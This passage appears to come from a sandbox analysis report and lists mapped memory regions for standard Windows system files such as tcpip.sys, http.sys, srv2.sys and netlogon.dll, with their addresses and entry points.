(normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 5866 start_va = 0xe20000 end_va = 0xe21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 5867 start_va = 0xe00000 end_va = 0xe38fff monitored = 0 entry_point = 0xe23b60 region_type = mapped_file name = "bthserv.dll" filename = "\\Windows\\System32\\bthserv.dll" (normalized: "c:\\windows\\system32\\bthserv.dll") Region: id = 5868 start_va = 0xe40000 end_va = 0xe42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthserv.dll.mui" filename = "\\Windows\\System32\\en-US\\bthserv.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bthserv.dll.mui") Region: id = 5869 start_va = 0xe00000 end_va = 0xe38fff monitored = 0 entry_point = 0xe23b60 region_type = mapped_file name = "bthserv.dll" filename = "\\Windows\\System32\\bthserv.dll" (normalized: "c:\\windows\\system32\\bthserv.dll") Region: id = 5870 start_va = 0xe40000 end_va = 0xe42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthserv.dll.mui" filename = "\\Windows\\System32\\en-US\\bthserv.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bthserv.dll.mui") Region: id = 5871 start_va = 0xe00000 end_va = 0xe38fff monitored = 0 entry_point = 0xe23b60 region_type = mapped_file name = "bthserv.dll" filename = "\\Windows\\System32\\bthserv.dll" (normalized: "c:\\windows\\system32\\bthserv.dll") Region: id = 5872 start_va = 0xe40000 end_va = 0xe42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthserv.dll.mui" filename = "\\Windows\\System32\\en-US\\bthserv.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bthserv.dll.mui") Region: id = 5873 start_va = 0xe00000 end_va = 0xe38fff monitored = 0 entry_point = 0xe23b60 region_type = mapped_file name = "bthserv.dll" filename = "\\Windows\\System32\\bthserv.dll" (normalized: "c:\\windows\\system32\\bthserv.dll") Region: id = 5874 start_va = 0xe40000 end_va = 0xe42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthserv.dll.mui" filename = "\\Windows\\System32\\en-US\\bthserv.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bthserv.dll.mui") Region: id = 5875 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5876 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5877 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5878 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5879 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5880 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5881 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5882 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5883 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5884 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5885 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5886 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5887 start_va = 0xe00000 end_va = 0xe2ffff monitored = 0 entry_point = 0xe05520 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5888 start_va = 0xe30000 end_va = 0xe31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5889 start_va = 0xe00000 end_va = 0xe2ffff monitored = 0 entry_point = 0xe05520 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5890 start_va = 0xe30000 end_va = 0xe31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5891 start_va = 0xe00000 end_va = 0xe2ffff monitored = 0 entry_point = 0xe05520 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5892 start_va = 0xe30000 end_va = 0xe31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5893 start_va = 0xe00000 end_va = 0xe2ffff monitored = 0 entry_point = 0xe05520 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5894 start_va = 0xe30000 end_va = 0xe31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5895 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 5896 start_va = 0x2610000 end_va = 0x28fbfff monitored = 0 entry_point = 0x286d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 5897 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 5898 start_va = 0x2610000 end_va = 0x28fbfff monitored = 0 entry_point = 0x286d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 5899 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 5900 start_va = 0x2610000 end_va = 0x28fbfff monitored = 0 entry_point = 0x286d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 5901 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 5902 start_va = 0x2610000 end_va = 0x28fbfff monitored = 0 entry_point = 0x286d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 5903 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5904 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5905 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5906 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5907 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5908 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5909 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5910 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5911 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5912 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5913 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5914 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5915 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5916 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5917 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5918 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5919 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5920 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5921 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 5922 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 5923 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5924 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5925 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5926 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5927 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5928 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5929 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5930 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5931 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5932 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5933 start_va = 0xe00000 end_va = 0xe0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5934 start_va = 0x11d0000 end_va = 0x1355fff monitored = 0 entry_point = 0x132c010 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5935 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 5936 start_va = 0xe10000 end_va = 0xe1dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 5937 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 5938 start_va = 0xe10000 end_va = 0xe1dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 5939 start_va = 0xe00000 end_va = 0xe06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5940 start_va = 0x2610000 end_va = 0x27a1fff monitored = 0 entry_point = 0x262be10 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5943 start_va = 0xe00000 end_va = 0xe06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5944 start_va = 0x2610000 end_va = 0x27a1fff monitored = 0 entry_point = 0x262be10 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5945 start_va = 0xe00000 end_va = 0xe06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5946 start_va = 0x2610000 end_va = 0x27a1fff monitored = 0 entry_point = 0x262be10 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5947 start_va = 0xe00000 end_va = 0xe06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 5948 start_va = 0x2610000 end_va = 0x27a1fff monitored = 0 entry_point = 0x262be10 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 5949 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5950 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5951 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5952 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5953 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5954 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5955 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5956 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5957 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5958 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5959 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 5960 start_va = 0x11d0000 end_va = 0x1296fff monitored = 0 entry_point = 0x1253010 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 5961 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 5962 start_va = 0x11d0000 end_va = 0x12a8fff monitored = 0 entry_point = 0x11f7860 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 5963 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 5964 start_va = 0x11d0000 end_va = 0x12a8fff monitored = 0 entry_point = 0x11f7860 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 5965 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5966 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5967 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5968 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5969 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5970 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5971 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5972 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5973 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: 